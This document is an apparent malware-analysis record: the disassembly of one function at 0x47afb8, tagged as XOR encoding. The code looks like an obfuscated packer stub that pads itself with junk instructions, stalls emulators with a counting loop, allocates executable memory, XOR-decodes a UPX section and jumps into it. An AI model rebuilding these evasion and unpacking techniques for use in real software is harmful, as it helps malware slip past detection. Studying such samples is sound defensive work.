Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x67bd860d
sub eax, esi
add esi, 0xdb57ee7f
popal
sub esi, eax
mov esi, eax
add esi, 0xa04598b
mov ebx, 0
mov eax, esi
dec edx
inc edx
or edi, edi
mov ecx, eax
or edx, edx
add edx, edi
sub edx, edi
mov esi, ecx
sub edi, 1
mov edi, 0x6f414ca1
inc ebx
mov edx, 0x3b45ca5e
dec edi
sub edx, 0x5b9f3288
cmp ebx, 0x1006153
jne 0x47afd6
mov edi, edx
mov edx, 0x1281e4f3
dec edi
cmp ebx, 0x1006153
je 0x47b021
mov eax, 0
mov dword [eax], ebx
sub edi, edx
not edx
mov edi, 0xe8e0901
inc eax
add eax, 0x8cfc0929
add eax, 1
mov ecx, 0x47ada2
not ebx
sub ebx, edx
mov eax, 0x47af96
sub ebx, esi
add ebx, edx
mov edi, dword [ecx]
or ebx, esi
add ebx, 0x96107bba
and edi, 0xff
add edx, 1
mov edx, 0x74df2655
xor dword [eax], edi
and esi, esi
not ebx
sub ebx, 0x772825c3
add eax, 1
sub esi, 0xdd60a59d
not ebx
sub ebx, esi
add ecx, 1
or edx, edx
add esi, esi
mov ebx, 0x89a8f84d
cmp eax, entry0
jl 0x47b049
sub ebx, 1
and edx, ebx
inc ebx
dec ebx
inc edx
mov edi, ecx
add edi, 0x3f1e5490
and ecx, ecx
mov edx, 0x47af9a
sub ebx, edi
or esi, ecx
add ecx, ecx
mov edx, dword [edx]
mov ebx, 0xa89d90c9
inc esi
not edi
mov edx, dword [edx]
inc esi
and ebx, edi
not edi
push edx
mov esi, 0xa400538d
or ebx, ecx
sub edi, 1
mov edx, 0x47af96
or ebx, esi
or edi, ecx
mov edx, dword [edx]
mov edi, ebx
add ebx, 0xe0ac3909
mov edx, dword [edx]
mov esi, 0x7d0e822d
or esi, ecx
add ebx, 0x9b1c6064
sub esp, 4
mov dword [esp], 0x47af9e
and esi, esi
mov edi, esi
call edx
sub ecx, edi
dec ebx
sub edi, 0x597f09b8
mov edx, dword [esp]
add esp, 4
not edi
dec edi
push 0x47afab
add edi, 0xd53b0778
add ebx, ecx
push eax
add ebx, ecx
add ecx, 1
call edx
add esi, ecx
add ecx, 0x61c1e7d4
mov esi, 0xb715f15d
sub esp, 4
mov dword [esp], 0x40
mov edi, 0xeba403aa
add esi, 1
push 0x3000
add ebx, 0x5982e5cd
sub edi, ecx
mov ebx, esi
push 0x20000eca
inc esi
sub ebx, 0x424b09d5
push 0
or esi, edi
mov edi, 0x28bd18da
add esi, 0xcbde6777
call eax
inc ecx
and esi, esi
add eax, 0x20000e1e
not edi
not edi
sub esi, ecx
mov edx, 0x31cdc2b8
sub esi, 0x2de05e0
mov ebx, edi
sub ecx, 0xa060ead1
mov dword [eax], edx
mov edi, 0xe8473ed6
not edi
mov edx, dword [eax]
and ecx, esi
inc esi
cmp edx, 0x31cdc2b8
je 0x47b1c6
mov ebx, 0
mov byte [ebx], cl
add ecx, 0xed6ec24c
dec ecx
not esi
mov edi, 0x532ee102
mov esi, ebx
sub esi, 0xe8ba969
dec esi
add eax, esi
mov ecx, section.UPX1
mov eax, esi
and eax, eax
or eax, eax
mov edi, 0x47ada1
mov eax, esi
add eax, eax
mov ebx, 0
dec esi
or eax, esi
and esi, eax
mov edx, 0x47ada2
sub esi, 1
sub esi, 0x523ecf6
add esi, 1
lea edx, [edx + ebx]
not esi
add eax, esi
mov edx, dword [edx]
add eax, 0xdcb91eef
sub esi, eax
not esi
and edx, 0xff
add esi, esi
mov esi, 0x305ddd2a
inc ebx
sub esi, eax
sub esi, eax
cmp ebx, 0x1f4
jne 0x47b246
mov ebx, 0
not eax
mov esi, 0x47ba7af
add eax, 0x8bcc83db
sub esi, 1
inc esi
and esi, esi
xor dword [ecx], edx
dec eax
sub esi, 0xa81f6a21
and esi, eax
add ecx, 2
or esi, esi
inc esi
cmp ecx, edi
jl 0x47b1fd
dec eax
sub eax, 0x9c10af7a
or esi, eax
mov esi, eax
or esi, eax
mov ecx, section.UPX1
inc esi
not ebx
add esi, 1
mov edi, section.UPX1
and ebx, esi
add ebx, 0x71b8f64b
mov edx, 0x47ada1
and esi, ebx
sub esi, ebx
mov ebx, esi
mov eax, 0
dec esi
sub ebx, esi
mov al, byte [edi]
and ebx, esi
or esi, esi
mov byte [ecx], al
or ebx, esi
add esi, 0x4823f8f7
not ebx
inc ecx
sub esi, ebx
sub esi, 0x4debe09d
add edi, 2
mov ebx, esi
sub ebx, 0x53e1c6fe
inc esi
cmp edi, edx
jle 0x47b2b3
add esi, 0x11ce0110
sub esi, ebx
mov ebx, esi
sub esi, eax
mov esi, eax
mov esi, eax
push 0x45e6a0
mov eax, 0x1dc9f1c2
sub esi, 0xbc0f77f4
or eax, eax
ret